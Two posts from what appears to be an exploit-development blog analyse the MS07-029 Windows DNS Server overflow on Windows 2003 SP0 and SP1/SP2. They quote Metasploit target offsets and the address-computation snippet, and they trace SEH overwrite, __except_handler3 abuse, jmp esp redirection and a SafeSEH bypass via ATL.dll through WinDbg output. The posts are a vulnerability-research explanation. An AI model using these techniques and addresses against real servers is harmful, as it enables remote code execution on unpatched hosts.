Software Vulnerability Exploitation Blog

Wednesday, July 04, 2007

MS07-029 Series - Part 3: Exploiting the DNS Server holes on Windows 2003 Server SP0 - __except_handler3 method

This is the third post in MS07-029 series and the second post about how to exploit this vulnerability in Windows 2003 Server environment. However, instead of discuss about Windows 2003 Server SP1/SP2 same as the last post, in this post I will describe about the exploitation technique in Windows 2003 Server SP0 - __except_handler3 method.

What's __except_handler3 ? It is the code that exception handler pointer in every EXCEPTION_REGISTRATION on the stack point to. It's always called when the exception handler is activated. I suggest you read this research to understand the concept how we can use __except_handler3 in the SEH exploitation.

Now, I will start the research by looking the metasploit code for Windows 2003 Server SP0 target in msdns_zonename.rb:

[ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f45a34 , 0x77f7e7f0, 0x76a935bf] } ]

The first question about the code is that why there are 3 return addresses on the target. The address 0x77f45a34 is the address of __except_handler3 in Windows 2003 Server SP0.

The address 0x76a935bf is the address of "jmp esp" instruction in ATL.dll. For 0x77f7e7f0, I will describe it later because I think it would be clear how many important of this address if I use it in the real situation.

there is another code section that I have to try to understand:

# addr = A + B*12 + 4 = 0x77f7e7f0 (ntdll -> 0x77f443c9)

addr = mytarget['Rets'][1] - 4

addr1 = addr / 2

addr2 = addr1 + addr % 2

addr1 = addr1 + (addr2 % 12)

addr2 = addr2 / 12


txt[ off + 4, 8] = [addr1, addr2].pack('VV') # A,B


The function of this code is to find the value of A and B that make A + B * 12 + 4 = 0x77f7e7f0 - the second return address of this target. After this calculation the addr1/A is 0x3bfbf400 and addr2/B is 0x04ffa9a9. The address 0x77f7e7f0 stored the value 0x77f44ec9. I try disassemble 0x77f44ec9:

ntdll!memcpy+0x143:
77f443c9 ff249510e8f777 jmp dword ptr ntdll!memcpy+0x14c (77f7e810)[edx*4]

77f443d0 8b4508 mov eax,dword ptr [ebp+8]

77f443d3 5e pop esi

77f443d4 5f pop edi

77f443d5 c9 leave

77f443d6 c3 ret


Its function is do a little thing and then jump the the address that stored on the stack. Don't mind if you don't know the important of the address at this time. I will describe later about it.

Before I'm going to the debugging phase, I have to find out what's the equation A + B * 12 + 4 = 0x77f7e7f0. I decide disassemble __except_handler3:

ntdll!_except_handler3:
77f45a34 55 push ebp
77f45a35 8bec mov ebp,esp
77f45a37 83ec08 sub esp,8
...

0:006> u
ntdll!_except_handler3+0xb:

77f45a3f 8b5d0c mov ebx,dword ptr [ebp+0Ch]

...

0:006> u
ntdll!_except_handler3+0x2a:

77f45a5e 8943fc mov dword ptr [ebx-4],eax

77f45a61 8b730c
mov esi,dword ptr [ebx+0Ch]
77f45a64 8b7b08
mov edi,dword ptr [ebx+8]
...

0:006> u
ntdll!_except_handler3+0x41:
77f45a75 8d0c76 lea ecx,[esi+esi*2]
77f45a78 8b448f04 mov eax,dword ptr [edi+ecx*4+4]
77f45a7c 0bc0 or eax,eax
...

0:006> u
ntdll!_except_handler3+0x53:
77f45a87 33c9 xor ecx,ecx
77f45a89 33d2 xor edx,edx
...
77f45a8f ffd0 call eax
...

If you have already read EEYE paper, you will see that if we can control the value of eax, we will able to use the instruction "call eax" at the address 0x77f45a8f to jump to our payload or something like that. To control the eax, we have to control the value of edi + ecx*4 + 4 at the address 0x77f45a78. At this address the eax value is copied with the value stored in edi + ecx*4 + 4. Because we have to set eax to the value 0x77f44ec9 which stored at 0x77f7e7f0, so we get the equation:

edi + ecx * 4 + 4 = 0x77f7e7f0.

Now look at the address 0x77f45a75, the instruction lea ecx, [esi + esi * 2]. This instruction is equivalent to move the value esi * 3 to ecx. I replace ecx with esi * 3 in the equation:

edi + (esi * 3) * 4 + 4 = 0x77f7e7f0 --> edi + esi * 12 + 4 = 0x77f7e7f0

Do you remember the new equation ? Yes, it is A + B * 12 + 4 = 0x77f7e7f0 where edi = A and esi = B.

Now, I start the debugging phase. I set break point at 0x77f45a34 - __except_handler3 and run the exploit:

...
ntdll!_except_handler3+0xb:

77f45a3f 8b5d0c mov ebx,dword ptr [ebp+0Ch] ss:0023:0118f318=0118fd54


0:006> dd ebp + c

0118f318 0118fd54 0118f410 0118f3cc 0118fd54


...

0:006> dd 0118fd54

0118fd54 424216eb 77f45a34 3bfbf400 04ffa9a9

0118fd64 42424242 76a935bf fff9b0e9 424242ff

0118fd74 42424242 42424242 42424242 42424242f


The instruction at address 0x77f45a3f is the instruction that set ebx with the value pointed by ebp + 0xc. Now ebx is value 0x0118fd54 and point to our payload. The bold green highlighted value is the value of the first return address, 0x77f45a34 - __except_handler3. The bold brown highlighted value is the value of A and B that make A + B * 12 + 4 = 0x77f7e7f0 - the second return address. The bold orange value is the value of "jmp esp" in ATL.DLL.


ntdll!_except_handler3+0x2d:

77f45a61 8b730c mov esi,dword ptr [ebx+0Ch] ds:0023:0118fd60=04ffa9a9


0:006> dd ebx + C

0118fd60 04ffa9a9 42424242 76a935bf fff9b0e9

0118fd70 424242ff 42424242 42424242 42424242


...

eax=0118f304 ebx=0118fd54 ecx=77f45a34 edx=77f68ad0 esi=04ffa9a9 edi=00000000
eip=77f45a64 esp=0118f2f4 ebp=0118f30c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

The value of esi now is 0x04ffa9a9 - addr2 - at the instruction ntdll!__except_handler3 + 0x2d.

ntdll!_except_handler3+0x30:
77f45a64 8b7b08 mov edi,dword ptr [ebx+8] ds:0023:0118fd5c=3bfbf400

0:006> dd ebx + 8
0118fd5c 3bfbf400 04ffa9a9 42424242 76a935bf
0118fd6c fff9b0e9 424242ff 42424242 42424242

...
eax=0118f304 ebx=0118fd54 ecx=77f45a34 edx=77f68ad0 esi=04ffa9a9 edi=3bfbf400
eip=77f45a67 esp=0118f2f4 ebp=0118f30c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

Now edi is 0x3bfbf400 - the addr1.

ntdll!_except_handler3+0x44:
77f45a78 8b448f04 mov eax,dword ptr [edi+ecx*4+4] ds:0023:77f7e7f0=77f443c9

0:006> p
eax=77f443c9 ebx=0118fd54 ecx=0efefcfb edx=77f68ad0 esi=04ffa9a9 edi=3bfbf400
eip=77f45a7c esp=0118f2f4 ebp=0118f30c iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217

At ntdll!__except_handler3 + 0x44, eax is set to 0x77f443c9.

0:006> p
eax=77f443c9 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=77f45a8f esp=0118f2ec ebp=0118fd64 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

ntdll!_except_handler3+0x5b:
77f45a8f ffd0 call eax {ntdll!memcpy+0x143 (77f443c9)}

0:006> bp 77f443c9

0:006> p
Breakpoint 1 hit
eax=77f443c9 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=77f443c9 esp=0118f2e8 ebp=0118fd64 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

ntdll!memcpy+0x143:
77f443c9 ff249510e8f777 jmp dword ptr ntdll!memcpy+0x14c (77f7e810)[edx*4] ds:0023:77f7e810=77f443d0

...
0:006> p

eax=fff9b0e9 ebx=00000000 ecx=00000000 edx=00000000 esi=77f45a91 edi=0118f30c

eip=77f443d6 esp=0118fd68 ebp=42424242 iopl=0
nv up ei pl zr na pe nc
cs=001b
ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

ntdll!memcpy+0x162:
77f443d6 c3 ret

...
0:006> dd esp
0118fd68 76a935bf fff9b0e9 424242ff 42424242
0118fd78 42424242 42424242 42424242 42424242

The flow of execution reach at the address 0x77f443d6 - the ret instruction. This instruction is equivalent to jump to the value stored on the stack. So the flow of execution will transfer to 0x76a935bf - jmp esp on ATL.dll.

0:006> u 76a935bf
ATL!__pfnDliNotifyHook2 (ATL+0x135bf):
76a935bf ffe4 jmp esp

0:006> u esp
0118fd6c e9b0f9ffff jmp 0118f721
0118fd71 42 inc edx
0118fd72 42 inc edx
0118fd73 42 inc edx

0:006> u 0118f721
0118f721 cc int 3
0118f722 cc int 3

When jmp to esp, we will see the instruction jmp 0x0118f721 which jump to our shellcode :)

Sunday, July 01, 2007

MS07-029 Series - Part 2: Exploiting the DNS Server holes on Windows 2003 Server SP1/SP2 - SafeSEH issue

This is the second post on MS07-029 series. In this post, I describe the exploitation technique used in Windows 2003 Server SP1/SP2 environments. We have to face with /SafeSEH and hardware-enforced DEP, no /GS in this game because we overwrite the SEH – not the return address on the stack, but I talk about only SafeSEH in this post. For hardware-enforced DEP, I will describe later.

I start with writing 0x41414141 to the address of exception handler:

This exception may be expected and handled.
eax=001720b6 ebx=013a0000 ecx=00008042 edx=013a0000 esi=00000003 edi=001720b3
eip=01015389 esp=0139f6ac ebp=0139f6b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
dns!extractQuotedChar+0x3b:
01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??

0:007> g
(768.7ec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c82eec6 esi=00000000 edi=00000000
eip=41414141 esp=0139f2e4 ebp=0139f304 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
41414141 ?? ???

0:007> dd esp
0139f2e4 7c82eeb2 0139f3c4 0139fd50 0139f3e0
0139f2f4 0139f3a0 0139fd50 7c82eec6 0139fd50

0:007> dd 0139fd50
0139fd50 424206eb 41414141 fff996e9 424242ff
0139fd60 42424242 42424242 42424242 42424242

Everything seems OK – just change 0x41414141 to the address of instruction pop/pop/ret, our shellcode will be executed. But when I change 0x41414141 to 0x71c0291d – pop/pop/ret on ws2_32.dll, our shellcode does not execute !!?

The answer of this question is that ws2_32.dll is complied with /SafeSEH option. I confirm this by use 0x76a81a60, pop/pop/ret in atl.dll

(6fc.d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00171675 ebx=013a0000 ecx=00008042 edx=013a0000 esi=00000003 edi=00171672

eip=01015389 esp=0139f6ac ebp=0139f6b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

dns!extractQuotedChar+0x3b:
01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??

0:007> g
(6fc.d8): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=7c82eeb2 ecx=76a81a60 edx=7c82eec6 esi=00000000 edi=00000000
eip=0139f6f3 esp=0139f2f0 ebp=0139f3c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

0139f6f3 cc int 3

The reason why atl.dll can be used in this exploit is that atl.dll is not compiled with /SafeSEH (information from metasploit exploit), so when we use the address in this dll, it will be passed on any check.

Now, I will investigate more detail how the address in atl.dll can pass the check while ws2_32.dll cannot. This is the path of execution of atl.dll

dns!extractQuotedChar+0x3b:
01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??

ntdll!KiUserExceptionDispatcher+0x4:
7c82ecbc 8b1c24 mov ebx,dword ptr [esp] ss:0023:0139f3bc=0139f3c4

ntdll!KiUserExceptionDispatcher+0x9:
7c82ecc1 e87653feff call ntdll!RtlDispatchException (7c81403c)

ntdll!RtlDispatchException+0x73:
7c8140ae e80bffffff call ntdll!RtlIsValidHandler (7c813fbe)
eax=0139f301

ntdll!RtlDispatchException+0x78:
7c8140b3 84c0 test al,al
eax=0139f301

ntdll!RtlDispatchException+0x7a:
7c8140b5 0f847e930500 je ntdll!RtlDispatchException+0x110 (7c86d439)

ntdll!RtlDispatchException+0x80:
7c8140bb ff7304 push dword ptr [ebx+4] ds:0023:0139fd54=76a81a60

ntdll!RtlDispatchException+0x8c:
7c8140c7 e885ad0100 call ntdll!RtlpExecuteHandlerForException (7c82ee51)
...
0139f6f3 cc int 3

And this is the path of ws2_32.dll

dns!extractQuotedChar+0x3b:
01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??

ntdll!KiUserExceptionDispatcher+0x4:
7c82ecbc 8b1c24 mov ebx,dword ptr [esp] ss:0023:0139f3bc=0139f3c4

ntdll!KiUserExceptionDispatcher+0x9:
7c82ecc1 e87653feff call ntdll!RtlDispatchException (7c81403c)

ntdll!RtlDispatchException+0x73:
7c8140ae e80bffffff call ntdll!RtlIsValidHandler (7c813fbe)
eax=00005000

ntdll!RtlDispatchException+0x78:
7c8140b3 84c0 test al,al
eax=00005000

ntdll!RtlDispatchException+0x7a:
7c8140b5 0f847e930500 je ntdll!RtlDispatchException+0x110 (7c86d439)


ntdll!RtlDispatchException+0x110:
7c86d439 834e0408 or dword ptr [esi+4],8 ds:0023:0139f3c8=00000000


dns!extractQuotedChar+0x3b:
01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??

The difference between 2 dlls is at the check after call ntdll!RtlIsvalidHandler. It checks the return value from ntdll!RtlIsValidHandler. The return value of atl.dll is 0x01, so it will not jump to ntdll!RtlDispatchException + 0x110 and finally execute ntdll!RtlpExecuteHandlerForException.

Now, I will investigate ntdll!RtlIsValidHandler. I want to find why atl.dll return 0x01 and ws2_32.dll return 0x00. This is the path for atl.dll:


ntdll!RtlIsValidHandler+0x1f:
7c813fdd e842150000
call ntdll!RtlLookupFunctionTable (7c815524)
eax=00000000


ntdll!RtlIsValidHandler+0x24:

7c813fe2 33db xor ebx,ebx

eax=00000000 ebx=0000000


ntdll!RtlIsValidHandler+0x26:

7c813fe4 3bc3 cmp eax,ebx

eax=00000000 ebx=00000000


ntdll!RtlIsValidHandler+0x2b:

7c813fe9 0f84222bffff je ntdll!RtlIsValidHandler+0x6f (7c806b11)


ntdll!RtlIsValidHandler+0x6f:

7c806b11 8d45e8 lea eax,[ebp-18h]

The return value of atl.dll from ntdll!RtlLookupFunctionTable is 0x00 and it will jump to ntdll!RtlIsValidHandler + 0x6f. The return value of ws2_32.dll is not 0x00:


ntdll!RtlIsValidHandler+0x1f:
7c813fdd e842150000 call ntdll!RtlLookupFunctionTable (7c815524)
eax=71c094e0

It is not jump to ntdll!RtlIsValidHandler + 0x6f and call ntdll!RtlInvalidHandlerDetected

ntdll!RtlIsValidHandler+0x2b:
7c813fe9 0f84222bffff je ntdll!RtlIsValidHandler+0x6f (7c806b11)


ntdll!RtlIsValidHandler+0x2d:

7c813fef 8b7df8 mov edi,dword ptr [ebp-8] ss:0023:0139f330=00000001


ntdll!RtlIsValidHandler+0xe2:

7c814108 e8e8910500 call ntdll!RtlInvalidHandlerDetected (7c86d2f5)

Now, I know more details about the difference between atl.dll and ws2_32.dll. The function ntdll!RtlIsValidHandler return true (0x01) for atl.dll and false (0x00) for ws2_32.dll. The key internal function in ntdll!RtlIsvalidHandler is ntdll!RtlLookupFunctionTable.

The function ntdll!RtlLookupFunctionTable return 0x00 for atl.dll and non-zero for ws2_32.dll. Now, I will look for the difference between atl.dll and ws2_32.dll in ntdll!RtlLookupFunctionTable. After take a lot of time, I found the interesting thing in ws2_32.dll:


ntdll!RtlLookupFunctionTable+0x8:
7c81552c 8365fc00 and dword ptr [ebp-4],0

ntdll!RtlLookupFunctionTable+0xc6:
7c81562e 8d45fc lea eax,[ebp-4]

0:007> dd ebp - 4
0139f2e0 00000000 0139f338 7c813fe2 71c0291d

ntdll!RtlLookupFunctionTable+0xc9:
7c815631 50 push eax

ntdll!RtlLookupFunctionTable+0xca:
7c815632 56 push esi

ntdll!RtlLookupFunctionTable+0xcb:
7c815633 e87cffffff call ntdll!RtlCaptureImageExceptionValues (7c8155b4)
0:007> p
ntdll!RtlLookupFunctionTable+0xd0:
7c815638 e956ffffff jmp ntdll!RtlLookupFunctionTable+0xd5 (7c815593)
0:007> dd ebp - 4
0139f2e0 71c094e0 0139f338 7c813fe2 71c0291d

ntdll!RtlLookupFunctionTable+0xed:
7c8155a6 8b45fc mov eax,dword ptr [ebp-4] ss:0023:0139f2e0=71c094e0

ntdll!RtlLookupFunctionTable+0xf3:
7c8155ac c20c00 ret 0Ch

After call ntdll!RtlCaptureImageExceptionValues, the value 0x00 stored at [ebp – 4] is changed. This condition occurs in the image that complied with /SafeSEH option such as ws2_32.dll. For atl.dll, this function is not change the value at [ebp – 4]:

ntdll!RtlLookupFunctionTable+0xed:
7c8155a6 8b45fc mov eax,dword ptr [ebp-4] ss:0023:0139f2e0=00000000